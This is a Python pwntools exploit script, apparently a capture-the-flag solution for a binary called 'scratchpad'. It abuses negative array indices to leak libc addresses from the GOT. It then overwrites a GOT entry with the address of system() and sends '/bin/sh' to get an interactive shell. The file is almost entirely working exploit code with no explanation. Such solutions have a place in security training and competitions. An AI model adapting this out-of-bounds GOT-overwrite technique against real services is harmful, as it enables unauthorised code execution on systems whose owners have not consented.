Scratchpad

#!/usr/bin/env python3

from pwn import *
#import time
#from termcolor import colored
#from tqdm import tqdm

elf = ELF("./scratchpad_patched")
rop = ROP(elf)

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""

def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


def main():
    r = conn()

    sl  = lambda a   : r.sendline(a)
    sla = lambda a,b : r.sendlineafter(a,b)
    ru  = lambda a   : r.recvuntil(a)
    rud = lambda a   : r.recvuntil(a,drop=True)

    sl(b'1')
    sl(b'-8')
    ru(b'Sure, here\'s your data:\n')
    leak_puts = u64(rud(b'\n').ljust(8,b'\0'))

    sl(b'1')
    sl(b'-7')
    ru(b'Sure, here\'s your data:\n')
    leak_fgets = u64(rud(b'\n').ljust(8,b'\0'))

    sl(b'1')
    sl(b'-6')
    ru(b'Sure, here\'s your data:\n')
    leak_fflush = u64(rud(b'\n').ljust(8,b'\0'))

    sl(b'1')
    sl(b'-4')
    ru(b'Sure, here\'s your data:\n')
    leak_exit = u64(rud(b'\n').ljust(8,b'\0'))

    print()
    print(f"puts:   {hex(leak_puts)}")
    print(f"fgets:  {hex(leak_fgets)}")
    print(f"fflush: {hex(leak_fflush)}")
    print()


    libc = leak_puts - 0x82c80
    system = libc + 0x53b00

    sl(b'2')
    sl(b'-5')
    sl(p64(system))

    sl(b'/bin/sh\0')

    r.clean()
    r.interactive()




if __name__ == "__main__":
    main()